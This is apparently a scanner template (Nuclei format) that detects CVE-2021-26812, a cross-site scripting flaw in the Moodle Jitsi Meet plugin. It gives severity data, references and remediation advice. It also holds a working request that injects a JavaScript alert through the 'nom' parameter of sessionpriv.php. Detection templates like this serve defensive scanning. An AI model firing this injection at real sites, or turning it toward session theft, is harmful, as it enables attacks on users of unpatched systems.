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id : CVE-2021-26812
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info :
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name : Moodle Jitsi Meet 2.7-2.8.3 - Cross-Site Scripting
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author : aceseven (digisec360)
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severity : medium
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description : Moodle Jitsi Meet 2.7 through 2.8.3 plugin contains a cross-site scripting vulnerability via the "sessionpriv.php" module. This allows attackers to craft a malicious URL, which when clicked on by users, can inject JavaScript code to be run by the application.
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impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
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remediation : |
Update to the latest version of the Moodle Jitsi Meet plugin to mitigate the XSS vulnerability.
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reference :
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- https://github.com/udima-university/moodle-mod_jitsi/issues/67
- https://nvd.nist.gov/vuln/detail/CVE-2021-26812
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- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/ARPSyndicate/cvemon
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score : 6.1
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cve-id : CVE-2021-26812
cwe-id : CWE-79
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epss-score : 0.00464
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epss-percentile : 0.75413
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cpe : cpe:2.3:a:jitsi:meet:*:*:*:*:*:moodle:*:*
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metadata :
max-request : 1
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vendor : jitsi
product : meet
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framework : moodle
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tags : cve2021,cve,moodle,jitsi,xss,plugin
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http :
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- method : GET
path :
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- "{{BaseURL}}/mod/jitsi/sessionpriv.php?avatar=https%3A%2F%2F{{Hostname}}%2Fuser%2Fpix.php%2F498%2Ff1.jpg&nom=test_user%27)%3balert(document.domain)%3b//&ses=test_user&t=1"
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matchers-condition : and
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matchers :
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- type : word
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part : body
words :
- "alert(document.domain);"
- type : word
part : header
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words :
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- "MoodleSession"
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- type : status
status :
- 200
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# digest: 4a0a0047304502205c8db9275a2a06cc7c1163e7262105ee0b9dfa2a6a733853ceb08c2d859e0584022100c6421baa661ba03a6ed0144bf811fadf8929e70f64b84737037435723f75e8d7:922c64590222798bb761d5b6d8e72950
